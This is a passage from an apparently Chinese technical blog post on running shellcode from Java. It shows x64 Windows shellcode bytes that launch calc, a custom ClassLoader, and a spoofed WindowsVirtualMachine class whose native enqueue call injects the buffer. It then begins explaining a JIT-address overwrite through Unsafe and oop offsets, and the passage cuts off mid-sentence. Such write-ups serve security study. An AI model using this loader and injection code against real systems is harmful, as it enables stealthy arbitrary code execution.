#c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x58</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x59</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x5A</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x83</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xEC</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x20</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x52</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xFF</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xE0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x58</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x59</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x5A</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x12</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xE9</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x57</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xFF</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xFF</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xFF</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x5D</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xBA</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8D</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8D</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x01</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xBA</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x31</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x8B</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x6F</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x87</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xFF</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD5</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xBB</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xF0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xB5</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xA2</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x56</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xBA</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xA6</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x95</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xBD</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x9D</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xFF</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD5</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x48</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x83</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xC4</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x28</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x3C</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x06</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x7C</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x0A</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x80</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xFB</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xE0</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x75</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x05</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xBB</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x47</span>,<br/>                    (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x13</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x72</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x6F</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x6A</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x00</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x59</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x41</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0x89</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xDA</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xFF</span>, (<span style="color: #c678dd;line-height: 26px;">byte</span>) <span style="color: #d19a66;line-height: 26px;">0xD5</span><br/>            };<br/>            ByteArrayOutputStream byteArrayOutputStream = <span style="color: #c678dd;line-height: 26px;">new</span> ByteArrayOutputStream();<br/>            byteArrayOutputStream.write(buf);<br/>            byteArrayOutputStream.write(<span style="color: #98c379;line-height: 26px;">&#34;calc\0&#34;</span>.getBytes());<br/>            <span style="color: #c678dd;line-height: 26px;">byte</span>[] result = byteArrayOutputStream.toByteArray();<br/>            Method method = clazz.getDeclaredMethod(<span style="color: #98c379;line-height: 26px;">&#34;run&#34;</span>, <span style="color: #c678dd;line-height: 26px;">byte</span>[]<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>)</span>;<br/>            method.invoke(clazz, result);<br/>        } <span style="color: #c678dd;line-height: 26px;">catch</span> (Exception e) {<br/>            e.printStackTrace();<br/>        }<br/>    }<br/>    <span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">static</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">MyClassLoader</span> <span style="color: #c678dd;line-height: 26px;">extends</span> <span style="color: #e6c07b;line-height: 26px;">ClassLoader</span> </span>{<br/>        <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> Class <span style="color: #61aeee;line-height: 26px;">get</span><span style="line-height: 26px;">(<span style="color: #c678dd;line-height: 26px;">byte</span>[] bytes)</span> </span>{<br/>            <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">super</span>.defineClass(bytes, <span style="color: #d19a66;line-height: 26px;">0</span>, bytes.length);<br/>        }<br/>    }<br/>}<br/></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcyibO6RibZ0y47lCumKm6Cdonx41ZlNSoibt7a1oic8jSMrbIjpXCBco5LopCwbmEavFLA7gZwDib24K5L/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">package</span> sun.tools.attach;<br/><span style="color: #c678dd;line-height: 26px;">import</span> java.io.IOException;<br/><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">WindowsVirtualMachine</span> </span>{<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #61aeee;line-height: 26px;">WindowsVirtualMachine</span><span style="line-height: 26px;">()</span> </span>{<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">static</span> <span style="color: #c678dd;line-height: 26px;">native</span> <span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">enqueue</span><span style="line-height: 26px;">(<span style="color: #c678dd;line-height: 26px;">long</span> var0, <span style="color: #c678dd;line-height: 26px;">byte</span>[] var2, String var3, String var4, Object... var5)</span> <span style="color: #c678dd;line-height: 26px;">throws</span> IOException</span>;<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">static</span> <span style="color: #c678dd;line-height: 26px;">native</span> <span style="color: #c678dd;line-height: 26px;">long</span> <span style="color: #61aeee;line-height: 26px;">openProcess</span><span style="line-height: 26px;">(<span style="color: #c678dd;line-height: 26px;">int</span> var0)</span> <span style="color: #c678dd;line-height: 26px;">throws</span> IOException</span>;<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">static</span> <span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">run</span><span style="line-height: 26px;">(<span style="color: #c678dd;line-height: 26px;">byte</span>[] buf)</span> </span>{<br/>        System.loadLibrary(<span style="color: #98c379;line-height: 26px;">&#34;attach&#34;</span>);<br/>        <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>            enqueue(-<span style="color: #d19a66;line-height: 26px;">1L</span>, buf, <span style="color: #98c379;line-height: 26px;">&#34;test&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;test&#34;</span>);<br/>        } <span style="color: #c678dd;line-height: 26px;">catch</span> (Exception var2) {<br/>            var2.printStackTrace();<br/>        }<br/>    }<br/>}<br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>基于oop偏移</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这种是基于@Ryan Wincey和@xxDark两位前辈的总结，基本原理是：多次调用某个方法，使其成为热点代码触发即时编译，然后通过oop的数据结构偏移计算出JIT地址，最后使用unsafe写内存的功能，将shellcode写入到JIT地址。其中涉及Unsafe、Oop-Klass模型和即时编译这三个前置知识。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span>Unsafe类</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Unsafe</code>类是java中非常特别的一个类，提供的操作可以直接读写内存、获得地址偏移值、锁定或释放线程。<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Unsafe</code>只有一个私有的构造方法，但在类加载时候在静态代码中会实例化一个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Unsafe</code>对象，赋值给<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Unsafe</code>类的静态常量<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Unsafe</code>属性，我们发射获取到这个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Unsafe</code>属性即可。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcyibO6RibZ0y47lCumKm6Cdonx41ZlNSoibt7a1oic8jSMrbIjpXCBco5LopCwbmEavFLA7gZwDib24K5L/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">Field field = Unsafe<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">getDeclaredField</span>(&#34;<span style="color: #e6c07b;line-height: 26px;">theUnsafe</span>&#34;)</span>;<br/>field.setAccessible(<span style="color: #c678dd;line-height: 26px;">true</span>);<br/>Unsafe unsafe = (Unsafe) field.get(<span style="color: #c678dd;line-height: 26px;">null</span>);<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Unsafe</code>读写内存的相关方法有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getObject</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getAddress</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getInt</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getLong</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">putByte</code>等。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span>Oop-Klass模型</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">HotSpot JVM 底层都是 C/C++ 实现的，Java 对象在JVM的表示模型叫做“OOP-Klass”模型，包括两部分：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">OOP，即 Ordinary Object Point，普通对象指针，用来描述对象实例信息。</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">Klass，用来描述 Java 类，包含了元数据和方法信息等。</p></section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在Java程序运行过程中，每创建一个新的对象，在JVM内部就会相应地创建一个对应类型的OOP对象。Java类是对象，Java方法也是对象，而java类加载完成时在JVM中的最终产物就是InstanceKlass，其中包含方法信息、字段信息等一切java 类所定义的一切元素。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.3608903020667726" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="629" src="https://wechat2rss.xlab.app/img-proxy/?k=4184ce74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGic9QJv75YZxhJ3YVcJFiaI99CPnmzwiaX3SXaMXG5SQIMia4utURsd7jkJg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span>即时编译（JIT）</span><span style="display: none;"></span></h3><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">为了优化Java的性能 ，JVM在解释器之外引入了即时（Just In Time）编译器：当程序运行时，解释器首先发挥作用，代码可以直接执行；当方法或者代码块在一段时间内的调用次数超过了JVM设定的阈值时，这些字节码就会被编译成机器码，存入codeCache中。在下次执行时，再遇到这段代码，就会从codeCache中读取机器码，直接执行，以此来提升程序运行的性能。整体的执行过程大致如下图所示：</p></blockquote><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7006172839506173" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="648" src="https://wechat2rss.xlab.app/img-proxy/?k=35027a1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGicvo7wnqkm8bxMYlqlSxzGOT6kuf5NngLlP3JibvjoAWicaibwwV2AFcHjA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Openjdk和Oracle JDK在默认mixed模型下会启动即时编译，即时编译的触发阈值在客户端编译器和服务端编译器上默认值分别为1500和10000。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span>原理分析</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在JVM的本体：jvm.dll和libjvm.so中，存在这一个VMStructs的类，存储了JVM中包括oop、klass、constantPool在内的数据结构和他的属性。其中有使用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">JNIEXPORT</code>标记的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">VMStructs</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">VMTypes</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">IntConstants</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">LongConstants</code>的入口、名称、地址等偏移的变量，借助<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ClassLoader</code>的内部类<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NativeLibrary</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">find</code>或<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">findEntry</code>Native方法（与JDK的版本有关）,可获取到这些变量的值。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="415" data-backw="558" data-ratio="0.743801652892562" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto;" data-type="png" data-w="726" src="https://wechat2rss.xlab.app/img-proxy/?k=fe9cc635&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGice8LEtdykdGMibibDWpRSXaOdIjNN7oVxUNb7AVveprmRicUQVajvqt4JA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然后通过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">InstanceKlass</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Array&lt;Method*&gt;</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Method</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: 